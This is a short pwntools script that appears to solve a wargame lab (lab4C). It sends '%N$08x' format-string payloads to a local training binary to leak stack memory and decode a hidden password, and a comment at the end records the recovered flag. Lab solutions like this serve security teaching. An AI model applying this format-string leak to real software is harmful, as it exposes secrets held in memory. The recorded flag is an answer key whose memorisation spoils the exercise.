lab04C_exploit.py

import sys
from pwn import *

wynik = []

x = 0
for i in range(20): # range(20)
    result=""
    p = process("/levels/lab04/lab4C")
    for j in range(1,11):
        result+="%"+str(j+x)+"$08x."
    x+=9
    p.sendline(result)
    p.sendline("haslo")
    wynik.append(p.recv(2000))

for x in range(len(wynik)):
    my_list = wynik[x].split(".")
    for z in range(len(my_list)):
        if z == 2:
            my_list[2]=my_list[2][-8:]

    for y in range(1,11):
        try:
            print bytearray.fromhex(my_list[y]).decode()[::-1]
        except:
            pass

#print wynik




print "KONIEC"



'''
Haslo:
bu
7_1t
_w4s
n7_b
rUt3
_f0r
c34b
1e!

bu7_1t_w4sn7_brUt3_f0rc34b1e!
'''